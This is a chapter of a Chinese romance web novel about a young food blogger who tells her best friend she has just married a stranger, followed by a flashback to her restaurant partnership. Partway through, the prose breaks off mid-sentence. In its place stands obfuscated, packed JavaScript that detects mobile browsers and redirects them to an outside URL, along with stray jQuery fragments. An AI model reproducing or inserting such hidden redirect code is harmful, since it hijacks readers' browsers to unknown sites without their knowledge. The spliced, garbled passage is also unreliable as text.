回想起那顿精神压制的午餐，祝舒真后脑勺发寒。她不好直接说苏明婳妈妈的不是，稍微关心了两句便打住了。


    苏明婳也跳过了自己的妈妈不提，解释了一句：“我昨晚喝醉了。”


    祝舒真以为她妈妈逼得太狠，她借酒浇愁，又想吐槽苏妈妈了，哪有这样做妈妈的？


    虽然父母操心儿女的婚姻大事也算理所当然，这是中国千千万万父母的通病，可怜天下父母心。但也不是以这种方式，根本不像是关心女儿，没有让人感觉到任何温度和关怀，反而带着一种高高在上的优雅程序化，理智又淡漠，完全就是毫无情感冷冰冰下结婚通知。


    祝舒真这个外人都没从苏妈妈的语气里感觉到丝毫以女儿幸福为前提的考量，何况是苏明婳。


    祝舒真大力安慰她：“你不想结婚就不结呗！现在都什么时代了，早就不流行包办婚姻那套了。你爸妈还能把你架去民政局和婚礼现场不成？我们才刚刚二十五岁，结婚还早着呢！别担心，就算你爸妈拿刀架到你脖子上，我也能把你救出来！”


    苏明婳忽然说：“真真，我结婚了。”


    “你说什么？”祝舒真怀疑自己听错了。


    苏明婳又郑重重复了一遍：“真真，我昨天结婚了。”


    祝舒真惊得直接打翻了一杯刚买的热美式，冒着热气的咖啡液淋到了手上，烫得她一个哆嗦。


    她“嘶嘶”吸气甩着手，另一只手犹自握紧手机不可置信：“不是吧，你妈这么狠？她前天才找过来，昨天你就结婚了？！哪儿有这么快，这不是结婚，这是闪婚，闪得还跟火箭升空一样！要不要这么快！”


    她被烫的那只手火烧火燎，也顾不得措辞，直接说：“这跟跳火坑有什么区别？就算相亲也有一个认识了解的过程吧！阿姨这是下了什么绝招？你竟然这么快就束手就擒做乖乖女了？你开玩笑的吧？你快说你跟我开玩笑的！是梦里的结婚！你昨天不是还在逦月做梦吗？一定是梦里的结婚！”


    一叠声语速极快的噼里啪啦，透露出祝舒真的不可接受和匪夷所思。


    祝舒真了解苏明婳，她不是毫无思想任人摆布的木偶，怎么会毫无缘由这么快妥协，还是自己的婚姻大事，直觉反应就是质疑真假。潜意识却又明白，她不是拿这么大的事开玩笑的人，她刚刚的语气那么郑重其事，没有一丁点玩笑的成分。


    于是同时也疑心是父母给她下了什么不可抗拒的压力，因为去年冬天苏爷爷苏奶奶已经相继离世，家里没人再护着她了。


    可惜苏明婳笃定认真的语气打破了她最后一丝幻想：“就是闪婚，但跟我爸妈无关，跟苏家无关，是我自己一眼选中的男人，自己去民政局结的婚。”


    祝舒真：“……！！！”


    晴天霹雳，红色炸弹轰隆隆作响，祝舒真一时被炸得失语，呆若木鸡顿在那里。


    语音通话断线了。


    几秒后，祝舒真收到了一张大红的照片，她颤着手指点开大图，上书“结婚证”三个烫金大字的红本本蓦地闯进她的眼底，映红了她的瞳孔！


    刚刚她沉陷在震惊里疯狂输出时，苏明婳拿出卧室抽屉里的结婚证，直接拍了照。没有什么比直接上结婚证更有说服力。


    这下祝舒真被震得精神恍惚，眼前一片红火火。


    她颤抖着手再次拨通语音电话，下意识说：“你不会是跟苏辰背着我去领证了吧？苏辰不是在美国吗？他回来了？”


    苏明婳不知她怎么会突然扯到到苏辰身上，大概这是她们身边唯一的单身男性朋友。


    她原本打算从昨天上午在酒店遇见冯歆然和赵辉慢慢铺垫，告诉祝舒真自己抓到了一个送上门的男人结婚的事。


    这样听上去虽然是闪婚，但也很爽不是吗？虐渣打脸不要太痛快。


    赵辉大学锲而不舍、高调张扬追过她，也锲而不舍、高调张扬骚扰过她。还站在深情男的道德至高点上，让她承受口诛笔伐的汹涌舆论。


    她不接受赵辉，是她有眼无珠，是她心比天高，是她作精转世。麻雀变凤凰还不低头谢恩，还想上天吗？


    自然，大学那几年，冯歆然也将她视作眼中钉肉中刺。


    昨天领证后，去餐厅吃饭的路上，她已经铺垫了一个酒店的开头。只是祝舒真听说她遇见了赵辉和冯歆然，得知他们要订婚，大骂“渣男贱女，天生一对”。她来不及细说男人的出场，留下了悬念。只待下回揭晓。


    但计划终究赶不上变化。


    如果说这个世界上还有谁值得她费尽心思认认真真告知结婚的事，让闪婚显得不那么不靠谱，让她的这桩婚姻显得不那么荒唐，亲朋好友里也只剩下好闺蜜祝舒真了。


    终于对祝舒真说出来了结婚的事实，接下来的也没什么不好对唯一可以倾诉的闺蜜开口。


    她说：“当然不是，我跟苏辰只是朋友，跟他无关。我结婚的人你不认识，我也是刚刚认识，昨天拿到结婚证才知道他的名字。”


    顿了顿，她轻松打趣一句：“昨晚我带回家的野男人就是他，不是梦里的结婚，是梦里的男人。”


    祝舒真：“……！！！”


    恍恍惚惚问：“你前晚梦还没醒吗？”


    苏明婳说得明明白白：“就是前晚梦里的男人。”


    祝舒真：“……！！！”


    恍恍惚惚又被一道惊天巨雷劈中。


    混沌的脑海闪过一丝灵识，被她抓住了：“所以昨晚是真的有野男人？”


    这个野男人是过不去了。苏明婳“嗯”了一声，蓦然想起被冠名“野男人”的那个男人，又有点心虚，不知道傅琛礼知道了是什么感受。


    祝舒真虽然不知道她在想什么，却从她那一低声的“嗯”字里，察觉到了一抹含羞带怯。她抬头看看天，无言了好一会儿，本能冒出一句：“你不会是对你老公一见钟情吧？”


    接受事实后，她的逻辑也回来了：“你刚刚说你结婚的男人是你一眼选中的，那你是对他一见钟情？”


    苏明婳：“……”


    祝舒真的粉红泡泡只持续了短暂的几秒，就在无言的气氛下自己戳破了——恋爱脑要不得！她自己的教训还不够深刻吗！这个闪婚明显就是沉默中的爆发和反抗，但是代价太大，甚至不惜以身家性命相搏。


    她知道苏明婳还没走出爷爷奶奶去世的悲痛，突然这么疯狂闪婚，可能也是心理承受到了极点的发泄。


    她顿时醍醐灌顶，头顶犹如被冰凉的寒气笼罩，最终叹息一声：“你妈真是作孽。”


    反正祝舒真看出来了，苏妈妈根本就不是关心女儿的好母亲，她前脚刚走，后脚苏明婳闪婚，这不是她的推力还能是什么？


    这就是作孽。


    苏明婳无言以对，这是她自己的选择。


    默然片刻，她忽然问：“真真，你相信这个世界上有完美婚姻吗？”


    祝舒真被问住了，思索起来。


    苏明婳说：“我妈妈说‘昏礼者，将合二姓之好’，我的婚姻不是我一个人的随心所欲，而是两家之好。”


    攀龙附凤可以被美化成两家之好，从古至今，婚姻就和利益深度绑定，有多少人的婚姻只见利益不见感情？而爱，珍贵的爱，又是多么梦幻而虚妄的东西。


    她笑了一下，带着执拗，倔强而平静道：“所以我随心所欲找了一个男人结婚。”


    祝舒真却回答道：“月月，我不知道这个世界上有没有完美的婚姻，完美本身就是一个伪命题。两个相爱的人结婚，也不一定是完美的婚姻，最后可能一地鸡毛一别两宽冷淡收场。婚姻是什么，你、我，还有很多人到现在都不是很清楚。但我相信这个世界上有幸福的婚姻，我的爷爷奶奶、爸爸妈妈虽然也吵架，老了都在为小事吵吵闹闹，但他们也真心相待，一辈子生儿育女相互扶持，你的爷爷奶奶也相依相伴走完了一生，这都是幸福。”


    是啊。所谓幸福，如人饮水冷暖自知。大多数人要的也不过是世俗的温暖。在身边，看得见，摸得着。


    是谁说过——人世风尘虽恶，毕竟无法绝尘而去，最爱的，最烦扰的，最苦的，都在这里了。


    万丈红尘，俗世清欢，她也不过是一个恋恋红尘的普通女人。


    苏明婳的眼泪在眼眶打转，这一次没有落下来。


    她笑着说：“现在我也结婚了。”


    祝舒真是真心关心她的幸福，乍然听闻她结婚了，还是忽然找了个男人闪婚，真真正正的闪婚，领证之前压根不认识对方，一刹那头顶乌云密布。


    有很多话想说，想要安慰她没必要这样，事情还没到那一步，还有很多回旋余地，还可以拖，只要她不想谁也逼不了她。


    但现在说这些已经太迟了，大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120660|177412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红的结婚证都到手了，而且电话里也不方便多说。正是上班时间，这通语音电话是她下楼买杯咖啡喘息的下午茶时间打的，已经耽误了很久，要是再不回办公室，夺命连环call又要来了，只好草草几句结束了。


    -


    也许苏明婳今天早上的两人份早餐真的很有暧昧色彩，继祝舒真打来电话问询后，这天晚上苏辰也发来微信问她：「早上真真在你家？」


    苏明婳回复：「不是她。」


    苏辰没有再多问什么，如果他继续问下去，苏明婳也会说出结婚的事实，没有什么好对他隐瞒的。


    苏辰是苏园真正的老板。苏明婳这个“合伙人”其实也只是投资了三十万，还不够九牛一毛的。


    但苏辰那时候同意和她合伙，也不是看中她能投入多少钱。当时苏明婳刚阴差阳错做美食博主大半年，有几期爆火视频，小有流量，算得上是冉冉上升的美食新星博主。苏辰是通过商务合作找上门的，他即将要开一家新餐厅，希望她能为自己的餐厅开发部分菜品，同时帮助餐厅做商务推广。


    苏明婳突然接到这么大的邀约既兴奋又开心。这是她凭着兴趣懵懵懂懂成为美食博主以来接到的最大邀约，对方甚至要让她开发菜品，这表明他觉得她做出的食物会有很多人喜欢吃。


    也是这个邀约让她隐隐约约意识到，她或许可以成为职业的美食博主。虽然说爱好和职业不是一回事，最好不要混为一谈，但她大学是传媒方向，毕业后最好的去向也是媒体、广告、公关、广播电视等领域。与其天天心力交瘁在五花八门的商品策划和宣传广告上，不如深耕自己喜欢的美食，也许会更快乐。


    当然，在当时这只是一个还不成熟的朦胧设想。


    但是苏辰的邀约是实打实的，她立马欢喜得像中彩票大奖似的告诉了祝舒真，要请她去吃大餐。别说祝舒真经常帮她拍视频，她最初学会用单反相机拍照也是祝舒真手把手教的，就算是单纯为了庆祝，她首先想到的人也非祝舒真莫属。


    祝舒真家真不愧是开店做生意的，特别有生意头脑。她一听就说：“那你这属于技术入股啊，拿一笔钱买断有什么意思？我感觉他这个餐厅挺有前途的，还有你帮忙做宣传，肯定能赚钱。你不是也想有自己的餐厅吗？你可以和他合伙啊！”


    苏明婳眼睛亮了，苏辰的餐厅设想完全就是她梦想中的餐厅，但是她开不起这样的餐厅，祝舒真的点子正中下怀。


    当时苏明婳和祝舒真即将大学毕业，其实都没有真正接触过社会。苏明婳知道开一家餐厅不容易，苏辰要开的苏园更不是普通小餐厅，但到底缺乏明确具体的概念，对投资合伙模式也不甚了解。俗话说不知者无畏，她越琢磨越觉得跟苏辰合伙挺好的。


    她脸皮薄，不好意思对苏辰直接说“技术入股”。她只是一个小小的美食博主，网络上有一点流量，开发的菜品都是基于前人基础上的创新，谈不上有多么大的技术含量，很多厨师一看就会。她觉得苏辰找上门，或许主要是想挂名做宣传推广。


    于是思忖了一番，试探问他，她能不能投资一笔钱占一小股一起合伙，餐厅可以挂两个人的名字，她也会不遗余力宣传两个人的餐厅。


    苏辰同意了，还说他正好近期资金有点紧张，让她出三十万。


    刚好是苏明婳出得起的数额，两个人一拍即合。餐厅的名字也顺理成章叫“苏园”，因为他们两个人都姓苏，算是遥远的本家，不分彼此。后来苏辰拿这点打趣说，他们命中注定是要合伙开餐厅的，这不餐厅一开业就在她的宣传下爆火了，他是沾了她的光。


    最初苏明婳也觉得自己是有功劳的。后来她知道了苏辰的家境，也知道了苏园所处的那栋地理位置优越的宅院本来就是他的产业。他在那里开餐厅完全是兴趣爱好，是她恬不知耻借了他的东风。


    明白过来后，苏明婳一直觉得自己占了他大便宜。他根本就不缺那三十万，倒是有了那三十万，她每年真的多了一笔不菲的分红。


    而且也是因为苏园的存在，她有了一点底气，也要专注为苏园开发菜品，便直接放弃了找全职工作，毕业后全情投入做了美食博主。


    苏明婳琢磨着找个机会要和苏辰重新谈谈合作模式。随着苏园蒸蒸日上，她的分红也一年比一年多，这钱拿得她很有点脸红，也不好意思再对外说是苏园的合伙人。